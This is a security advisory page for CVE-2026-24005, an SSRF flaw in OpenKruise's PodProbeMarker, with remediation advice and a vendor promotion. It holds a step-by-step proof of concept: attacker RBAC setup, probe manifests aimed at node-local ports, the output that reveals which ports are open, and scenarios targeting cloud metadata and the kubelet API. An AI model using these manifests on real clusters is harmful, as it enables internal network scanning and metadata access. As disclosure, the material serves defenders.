Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
NONE severity

CVE-2026-24005 kruise

NONEFix: openkruise/kruise@94364b7

CVE-2026-24005 is a none-severity (CVSS 0) Server-Side Request Forgery (SSRF) vulnerability in github.com/openkruise/kruise. A fix is available for github.com/openkruise/kruise — see the affected versions and patch details below.

OpenKruise PodProbeMarker is Vulnerable to SSRF via Unrestricted Host Field

Also known asGHSA-9fj4-3849-rv9gGO-2026-4549
Published
Feb 25, 2026
Updated
Aug 12, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-24005.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs21th percentile — riskier than 21% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-24005 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

2 pkgs affected
🐹github.com/openkruise/kruise🐹github.com/openkruise/kruise

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

PodProbeMarker allows defining custom probes with TCPSocket or HTTPGet handlers. The webhook validation does not restrict the Host field in these probe configurations. Since kruise-daemon runs with hostNetwork=true, it executes probes from the node network namespace. An attacker with PodProbeMarker creation permission can specify arbitrary Host values (127.0.0.1, 169.254.169.254, internal IPs) to trigger SSRF from the node, perform port scanning, and receive response feedback through NodePodProbe status messages.

Kubernetes Version

  • Kubernetes: v1.30.0 (kind cluster)
  • Distribution: kind

Component Version

  • OpenKruise: v1.8.0
  • kruise-daemon: DaemonSet with hostNetwork=true
  • Affected CRDs: PodProbeMarker, NodePodProbe

Steps To Reproduce

Environment Setup

  1. Install OpenKruise v1.8.0 in kind cluster:
helm repo add openkruise https://openkruise.github.io/charts/
helm install kruise openkruise/kruise --version 1.8.0 \
  --namespace kruise-system --create-namespace
  1. Verify kruise-daemon runs with hostNetwork:
kubectl -n kruise-system get ds kruise-daemon -o yaml | grep hostNetwork

Output:

hostNetwork: true
  1. Create test namespace and RBAC:
kubectl apply -f - <<EOF
apiVersion: v1
kind: Namespace
metadata:
  name: tenant-a
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: attacker
  namespace: tenant-a
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: ppm-creator
  namespace: tenant-a
rules:
- apiGroups: ["apps.kruise.io"]
  resources: ["podprobemarkers"]
  verbs: ["create","get","list","watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: ppm-creator-binding
  namespace: tenant-a
subjects:
- kind: ServiceAccount
  name: attacker
  namespace: tenant-a
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: ppm-creator
EOF
  1. Deploy victim workload:
kubectl apply -f - <<EOF
apiVersion: apps/v1
kind: Deployment
metadata:
  name: victim
  namespace: tenant-a
spec:
  replicas: 1
  selector:
    matchLabels:
      app: victim
  template:
    metadata:
      labels:
        app: victim
    spec:
      containers:
      - name: victim
        image: busybox:1.36
        command: ["/bin/sh","-c","sleep 36000"]
EOF

Exploitation Steps

  1. Verify node-local port accessibility (kubelet healthz):
NODE_CONTAINER=$(docker ps --format '{{.Names}}' | grep control-plane)
docker exec $NODE_CONTAINER curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:10248/healthz

Output:

200
  1. Create SSRF PodProbeMarker targeting node-local port (as attacker):
kubectl -n tenant-a apply --as system:serviceaccount:tenant-a:attacker -f - <<EOF
apiVersion: apps.kruise.io/v1alpha1
kind: PodProbeMarker
metadata:
  name: ppm-tcp-ssrf
  namespace: tenant-a
spec:
  selector:
    matchLabels:
      app: victim
  probes:
  - name: tcp-ssrf
    containerName: victim
    podConditionType: ssrf.kruise.io/tcp
    probe:
      tcpSocket:
        host: 127.0.0.1
        port: 10248
      timeoutSeconds: 2
      periodSeconds: 5
EOF

Output:

podprobemarker.apps.kruise.io/ppm-tcp-ssrf created
  1. Wait for probe execution and observe SSRF result:
sleep 10
NODE_NAME=$(kubectl get nodes -o jsonpath='{.items[0].metadata.name}')
kubectl get nodepodprobe $NODE_NAME -o yaml | grep -A 20 "ppm-tcp-ssrf"

Output:

      name: ppm-tcp-ssrf#tcp-ssrf
      probe:
        tcpSocket:
          host: 127.0.0.1
          port: 10248
status:
  podProbeStatuses:
  - name: victim-8596ff64d6-jklnb
    namespace: tenant-a
    probeStates:
    - lastProbeTime: "2026-01-13T17:48:10Z"
      name: ppm-tcp-ssrf#tcp-ssrf
      state: Succeeded

Evidence: Probe succeeded, confirming kruise-daemon accessed node-local port 127.0.0.1:10248 from node network namespace.

  1. Demonstrate port scanning capability (closed port):
kubectl -n tenant-a apply --as system:serviceaccount:tenant-a:attacker -f - <<EOF
apiVersion: apps.kruise.io/v1alpha1
kind: PodProbeMarker
metadata:
  name: ppm-tcp-closed
  namespace: tenant-a
spec:
  selector:
    matchLabels:
      app: victim
  probes:
  - name: tcp-closed
    containerName: victim
    podConditionType: ssrf.kruise.io/tcp-closed
    probe:
      tcpSocket:
        host: 127.0.0.1
        port: 9999
      timeoutSeconds: 2
      periodSeconds: 5
EOF
  1. Observe port scanning result:
kubectl get nodepodprobe $NODE_NAME -o yaml | grep -A 5 "ppm-tcp-closed"

Output:

    - lastProbeTime: "2026-01-13T17:51:08Z"
      message: 'dial tcp 127.0.0.1:9999: connect: connection refused'
      name: ppm-tcp-closed#tcp-closed
      state: Failed

Evidence: Failed probe with "connection refused" message enables port state differentiation for scanning.

  1. Verify Pod condition and events:
VICTIM_POD=$(kubectl -n tenant-a get pod -l app=victim -o jsonpath='{.items[0].metadata.name}')
kubectl -n tenant-a describe pod $VICTIM_POD | grep -A 10 "Conditions:"

Output:

Conditions:
  Type                        Status
  ssrf.kruise.io/tcp          True
  ssrf.kruise.io/tcp-closed   False

Events:
  Normal  KruiseProbeSucceeded  96s (x24 over 3m26s)  kruise-daemon-podprobe

Source Code Evidence

  1. TCPSocket Host field used without restriction:

File: pkg/daemon/podprobe/prober.go

func (pb *prober) newTCPSocketProber(tcp *v1.TCPSocketAction, podIP string) tcpProber {
    host := tcp.Host
    if host == "" {
        host = podIP
    }
    return tcpProber{
        tcp: tcp,
        host: host,
    }
}
  1. Webhook validation does not check Host field:

File: pkg/webhook/podprobemarker/validating/probe_create_update_handler.go

func validateTCPSocketAction(tcp *corev1.TCPSocketAction, fldPath *field.Path) field.ErrorList {
    return ValidatePortNumOrName(tcp.Port, fldPath.Child("port"))
}

Note: Only port validation, no Host restriction.

Attack Scenarios

Scenario 1 - Cloud metadata access:

probe:
  tcpSocket:
    host: 169.254.169.254
    port: 80

Scenario 2 - Internal service discovery:

probe:
  tcpSocket:
    host: 10.0.0.1
    port: 6379

Scenario 3 - Node-local kubelet API:

probe:
  tcpSocket:
    host: 127.0.0.1
    port: 10250

Supporting Material/References

Verification Evidence

  1. kruise-daemon hostNetwork configuration:
$ kubectl -n kruise-system get ds kruise-daemon -o yaml | grep -A 2 "hostNetwork"
      hostNetwork: true
      restartPolicy: Always
  1. Successful SSRF to open port (127.0.0.1:10248):
status:
  podProbeStatuses:
    probeStates:
    - name: ppm-tcp-ssrf#tcp-ssrf
      state: Succeeded
  1. Port scanning result for closed port (127.0.0.1:9999):
status:
  podProbeStatuses:
    probeStates:
    - message: 'dial tcp 127.0.0.1:9999: connect: connection refused'
      name: ppm-tcp-closed#tcp-closed
      state: Failed
  1. Pod condition reflecting probe results:
Conditions:
  Type                        Status
  ssrf.kruise.io/tcp          True
  ssrf.kruise.io/tcp-closed   False

Impact Assessment

  • Confidentiality: Medium-High. Access to node-local services, cloud metadata, internal network resources.
  • Integrity: Low. Primarily information disclosure.
  • Availability: Medium. Resource consumption from probe requests.

Limitations

HTTPGet probe rejected by webhook in OpenKruise v1.8.0:

Error: admission webhook denied the request: spec.probe.probe: Forbidden: current no support http probe

TCPSocket probe remains vulnerable.

Remediation

Temporary mitigation:

  • Restrict PodProbeMarker creation permissions
  • Apply network policies limiting kruise-daemon egress
  • Audit existing PodProbeMarker resources

Permanent fix:

  • Enforce Host field restrictions in webhook validation
  • Deny private IP ranges (127.0.0.0/8, 10.0.0.0/8, 169.254.0.0/16)
  • Require Host to be empty or equal to PodIP
  • Sanitize error messages in NodePodProbe status

Verification Environment: kind v1.30.0 + OpenKruise v1.8.0

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/openkruise/kruise1.8.0&&< 1.8.31.8.3go get github.com/openkruise/kruise@v1.8.3
🐹Gogithub.com/openkruise/kruiseall versions1.7.5go get github.com/openkruise/kruise@v1.7.5

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/openkruise/kruise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/openkruise/kruise to 1.8.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-24005 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-24005 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-24005. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary PodProbeMarker allows defining custom probes with TCPSocket or HTTPGet handlers. The webhook validation does not restrict the Host field in these probe configurations. Since kruise-daemon runs with hostNetwork=true, it executes probes from the node network namespace. An attacker with PodProbeMarker creation permission can specify arbitrary Host values (127.0.0.1, 169.254.169.254, internal IPs) to trigger SSRF from the node, perform port scanning, and receive response feedback through NodePodProbe status messages. ## Kubernetes Version - Kubernetes: v1.30.0 (kind cluster) - Distri
O3 Security · Impact-Aware SCA

Is CVE-2026-24005 in your dependencies?

O3 Security finds CVE-2026-24005 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-24005: kruise SSRF (None 0) | O3 Security